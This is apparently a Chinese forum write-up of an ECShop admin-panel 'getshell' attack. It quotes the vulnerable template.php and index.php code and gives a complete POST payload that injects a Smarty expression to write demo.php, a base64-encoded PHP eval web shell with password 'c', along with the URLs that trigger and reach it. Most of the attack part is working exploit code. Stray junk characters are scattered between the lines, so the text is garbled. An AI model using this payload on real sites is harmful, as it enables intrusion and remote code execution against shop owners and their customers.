Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
: r+ W1 R5 t5 j$ C7 M1 H+ M但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
% e. s5 x* a5 v2 C; d& V8 Y4 G
1 if ($_REQUEST['act'] == 'update_library')

2   
4 [! D( R( x; R- k' p0 q: Q
3 {

4     check_authz_json('library_manage');
( G% I+ ^, U+ w* }
5   

5 [$ P9 H) P+ ?/ I4 H6     $html = stripslashes(json_str_iconv($_POST['html']));

: [8 p, m6 @/ w( l! h2 u6 r7   
1 ~- _' |4 O- n. C* U# a' b* b& h* c; ]
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
8 t# m" H. B9 N! I
9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

, V  d5 {& f. @1 A12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
  K% j8 g9 d) b1 D1 _# U
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

$ n  b5 t, _. g- q" S16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

1 ?+ a2 T- _$ e- K. B* w. E18     }

19     else

3 w5 O# K4 e- m20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
& R5 v- ]3 i8 |  o0 q0 T
22     }

23 }
! F6 \+ O' R& B: q
那么找个比较方便调用了模板的文件
" a  |3 N. j% }% p" ~index.php
* D$ F5 o/ }4 d8 R( J, t; q
1 if ($act == 'cat_rec')
3 Z) ~, K! |- `6 k0 O# P7 ?; e$ e' \
& ~& F" |3 V7 |5 ]2   
  F# B7 e5 K% i
3 {
1 {- f- G$ |* M
# q1 H/ u& z8 z+ G4   
- X" p: Q3 _$ n3 c: b0 G
% c  k. T' M8 q8 Q5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 ]$ X) G) q' m
# H: K/ D5 e; m3 M6   
0 \, ~+ x" {+ Z) t6 P4 [8 N
, n1 ^. K" A" K- \3 q0 k0 p7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

. o0 B2 h5 u: ?8 \% P: U* M8   
6 d/ {6 d& \0 \
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11     include_once('includes/cls_json.php');
1 u( P; Z& V/ ~3 w! [
12   

, _  _2 y0 ^1 q  ^13     $json = new JSON;
/ R/ d( r; n( g  g0 r& D2 F% [
14   
2 r4 A, |1 i. D
6 \# x! M5 q( Y7 s4 y& R( b6 n( o15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
$ d& j4 O3 d' D: H2 @
# Y, w$ w1 X* D: \# G17     $children = get_children($cat_id);
* i0 |; i  x' ]; O
0 K9 D6 k$ v3 E5 t6 X; h  T18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
5 Y- C1 e1 L- h) C$ {. U, L
- a- s8 \  g' F% ]* q9 }5 [20   

21     $smarty->assign('cat_rec_sign', 1);
& w" [7 [, W; {* g5 \8 d6 W
+ M) O' Q, }0 O* Y( J, r4 t& I( t22   
* O" }# c5 z1 O: k% c$ q* [: N
, D) R# m1 Q. A4 q4 R" T23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
2 E2 l( j. _$ Y* `; B
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
  G$ N- k" X7 d. {
8 U- V3 A, T4 I1 S2 S' t" \, M27         echo $rec_array[$rec_type];
- y; W8 N4 J; B$ f7 a( Y9 N- f' n
28   

% T, e5 D4 a+ I% j, @29     die($json->encode($result));
- U- Z, J2 Q8 c$ l; @' r( w
30   

31 }
  @3 U5 l! i" S7 [( F) D( h. b
' D6 U. F  S; [) k1 v& U% o. w那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
! @4 V  Z' u' Y( X! ~
​
- F5 o" b9 ^9 H4 O( E1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. `( x4 r4 p9 M5 |% a( L
然后访问http://localhost/ec/index.php?act=cat_rec
. ~6 H4 ?4 ?+ O
shel地址：http://localhost/ec/demo.php
+ l1 o; N3 Q6 |$ x& L! X- b1 L! M密码c

0 s# \- `2 t4 V6 o$ N& G0 k